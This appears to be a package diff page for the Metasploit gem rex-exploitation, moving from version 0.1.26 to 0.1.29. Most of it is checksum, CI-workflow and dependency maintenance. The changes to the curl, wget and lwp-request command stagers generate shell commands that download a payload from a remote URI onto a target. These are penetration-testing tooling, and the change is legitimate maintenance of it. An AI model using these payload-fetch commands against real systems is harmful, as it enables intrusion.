rex-exploitation 0.1.26 → 0.1.29
Sign up to get free protection for your applications and to get access to all the features.
- checksums.yaml +4 -4
- checksums.yaml.gz.sig +0 -0
- data/.github/workflows/verify.yml +45 -0
- data/lib/rex/exploitation/cmdstager/curl.rb +4 -2
- data/lib/rex/exploitation/cmdstager/lwprequest.rb +5 -1
- data/lib/rex/exploitation/cmdstager/wget.rb +5 -2
- data/lib/rex/exploitation/version.rb +1 -1
- data/rex-exploitation.gemspec +1 -0
- data.tar.gz.sig +0 -0
- metadata +17 -3
- metadata.gz.sig +0 -0
- data/.travis.yml +0 -6
checksums.yaml
CHANGED
@@ -1,7 +1,7 @@
|
|
1
1
|
---
|
2
2
|
SHA256:
|
3
|
-
metadata.gz:
|
4
|
-
data.tar.gz:
|
3
|
+
metadata.gz: e69e2bed1ac177b2484539a5a0230a220022f71076033698346c7c83fe1c2128
|
4
|
+
data.tar.gz: 73d249b1347e340fb3517d21f61b6936310ab5c761bdc4fa65cfcd1ea9a50bcd
|
5
5
|
SHA512:
|
6
|
-
metadata.gz:
|
7
|
-
data.tar.gz:
|
6
|
+
metadata.gz: c3c25edfd7431681b7b94bb8bef1d66b237c9e62354476c3aed8debc771efc816ab27f24e5c12ba4ac2d13f87ab1f7a52ec99c5f737bb30e970fdbf97ace0e33
|
7
|
+
data.tar.gz: 80291e0d18a9c84033a04b13d0d1cd512ffe039ae12fac397abbe2bfdf4a961ed16b347107e0d20939322e0808c62887d344be07efacd5de08d49a59129cbd99
|
checksums.yaml.gz.sig
CHANGED
Binary file
|
@@ -0,0 +1,45 @@
|
|
1
|
+
name: Verify
|
2
|
+
|
3
|
+
on:
|
4
|
+
push:
|
5
|
+
branches:
|
6
|
+
- '*'
|
7
|
+
pull_request:
|
8
|
+
branches:
|
9
|
+
- '*'
|
10
|
+
|
11
|
+
jobs:
|
12
|
+
test:
|
13
|
+
runs-on: ubuntu-18.04
|
14
|
+
timeout-minutes: 40
|
15
|
+
|
16
|
+
strategy:
|
17
|
+
fail-fast: true
|
18
|
+
matrix:
|
19
|
+
ruby:
|
20
|
+
- 2.6
|
21
|
+
- 2.7
|
22
|
+
- 3.0
|
23
|
+
test_cmd:
|
24
|
+
- bundle exec rspec
|
25
|
+
|
26
|
+
env:
|
27
|
+
RAILS_ENV: test
|
28
|
+
|
29
|
+
name: Ruby ${{ matrix.ruby }} - ${{ matrix.test_cmd }}
|
30
|
+
steps:
|
31
|
+
- name: Checkout code
|
32
|
+
uses: actions/checkout@v2
|
33
|
+
|
34
|
+
- name: Setup Ruby
|
35
|
+
uses: ruby/setup-ruby@v1
|
36
|
+
with:
|
37
|
+
ruby-version: ${{ matrix.ruby }}
|
38
|
+
bundler-cache: true
|
39
|
+
|
40
|
+
- name: ${{ matrix.test_cmd }}
|
41
|
+
run: |
|
42
|
+
echo "${CMD}"
|
43
|
+
bash -c "${CMD}"
|
44
|
+
env:
|
45
|
+
CMD: ${{ matrix.test_cmd }}
|
@@ -24,11 +24,13 @@ class Rex::Exploitation::CmdStagerCurl < Rex::Exploitation::CmdStagerBase
|
|
24
24
|
|
25
25
|
def generate_cmds_payload(opts)
|
26
26
|
cmds = []
|
27
|
+
uri = opts[:payload_uri]
|
27
28
|
|
28
29
|
if opts[:ssl]
|
29
|
-
cmds << "curl -kso #{@payload_path} #{
|
30
|
+
cmds << "curl -kso #{@payload_path} #{uri}"
|
30
31
|
else
|
31
|
-
|
32
|
+
uri = uri.gsub(%r{^http://}, '') if opts[:no_proto]
|
33
|
+
cmds << "curl -so #{@payload_path} #{uri}"
|
32
34
|
end
|
33
35
|
|
34
36
|
cmds
|
@@ -23,7 +23,11 @@ class Rex::Exploitation::CmdStagerLwpRequest < Rex::Exploitation::CmdStagerBase
|
|
23
23
|
end
|
24
24
|
|
25
25
|
def generate_cmds_payload(opts)
|
26
|
-
|
26
|
+
uri = opts[:payload_uri]
|
27
|
+
unless opts[:ssl]
|
28
|
+
uri = uri.gsub(%r{^http://}, '') if opts[:no_proto]
|
29
|
+
end
|
30
|
+
["lwp-request -m GET #{uri} > #{@payload_path}"]
|
27
31
|
end
|
28
32
|
|
29
33
|
def generate_cmds_decoder(opts)
|
@@ -24,12 +24,15 @@ class Rex::Exploitation::CmdStagerWget < Rex::Exploitation::CmdStagerBase
|
|
24
24
|
|
25
25
|
def generate_cmds_payload(opts)
|
26
26
|
cmds = []
|
27
|
+
|
28
|
+
uri = opts[:payload_uri]
|
27
29
|
ncc = '--no-check-certificate'
|
28
30
|
|
29
31
|
if opts[:ssl]
|
30
|
-
cmds << "wget -qO #{@payload_path} #{ncc} #{
|
32
|
+
cmds << "wget -qO #{@payload_path} #{ncc} #{uri}"
|
31
33
|
else
|
32
|
-
|
34
|
+
uri = uri.gsub(%r{^http://}, '') if opts[:no_proto]
|
35
|
+
cmds << "wget -qO #{@payload_path} #{uri}"
|
33
36
|
end
|
34
37
|
|
35
38
|
cmds
|
data/rex-exploitation.gemspec
CHANGED
@@ -27,6 +27,7 @@ Gem::Specification.new do |spec|
|
|
27
27
|
spec.add_development_dependency "rake"
|
28
28
|
spec.add_development_dependency "rspec"
|
29
29
|
|
30
|
+
spec.add_runtime_dependency 'rexml'
|
30
31
|
spec.add_runtime_dependency 'rex-text'
|
31
32
|
spec.add_runtime_dependency 'rex-arch'
|
32
33
|
spec.add_runtime_dependency 'rex-encoder'
|
data.tar.gz.sig
CHANGED
Binary file
|
metadata
CHANGED
@@ -1,7 +1,7 @@
|
|
1
1
|
--- !ruby/object:Gem::Specification
|
2
2
|
name: rex-exploitation
|
3
3
|
version: !ruby/object:Gem::Version
|
4
|
-
version: 0.1.
|
4
|
+
version: 0.1.29
|
5
5
|
platform: ruby
|
6
6
|
authors:
|
7
7
|
- Metasploit Hackers
|
@@ -93,7 +93,7 @@ cert_chain:
|
|
93
93
|
EknWpNgVhohbot1lfVAMmIhdtOVaRVcQQixWPwprDj/ydB8ryDMDosIMcw+fkoXU
|
94
94
|
9GJsSaSRRYQ9UUkVL27b64okU8D48m8=
|
95
95
|
-----END CERTIFICATE-----
|
96
|
-
date:
|
96
|
+
date: 2022-03-07 00:00:00.000000000 Z
|
97
97
|
dependencies:
|
98
98
|
- !ruby/object:Gem::Dependency
|
99
99
|
name: rake
|
@@ -123,6 +123,20 @@ dependencies:
|
|
123
123
|
- - ">="
|
124
124
|
- !ruby/object:Gem::Version
|
125
125
|
version: '0'
|
126
|
+
- !ruby/object:Gem::Dependency
|
127
|
+
name: rexml
|
128
|
+
requirement: !ruby/object:Gem::Requirement
|
129
|
+
requirements:
|
130
|
+
- - ">="
|
131
|
+
- !ruby/object:Gem::Version
|
132
|
+
version: '0'
|
133
|
+
type: :runtime
|
134
|
+
prerelease: false
|
135
|
+
version_requirements: !ruby/object:Gem::Requirement
|
136
|
+
requirements:
|
137
|
+
- - ">="
|
138
|
+
- !ruby/object:Gem::Version
|
139
|
+
version: '0'
|
126
140
|
- !ruby/object:Gem::Dependency
|
127
141
|
name: rex-text
|
128
142
|
requirement: !ruby/object:Gem::Requirement
|
@@ -202,9 +216,9 @@ executables: []
|
|
202
216
|
extensions: []
|
203
217
|
extra_rdoc_files: []
|
204
218
|
files:
|
219
|
+
- ".github/workflows/verify.yml"
|
205
220
|
- ".gitignore"
|
206
221
|
- ".rspec"
|
207
|
-
- ".travis.yml"
|
208
222
|
- CODE_OF_CONDUCT.md
|
209
223
|
- Gemfile
|
210
224
|
- LICENSE
|
metadata.gz.sig
CHANGED
Binary file
|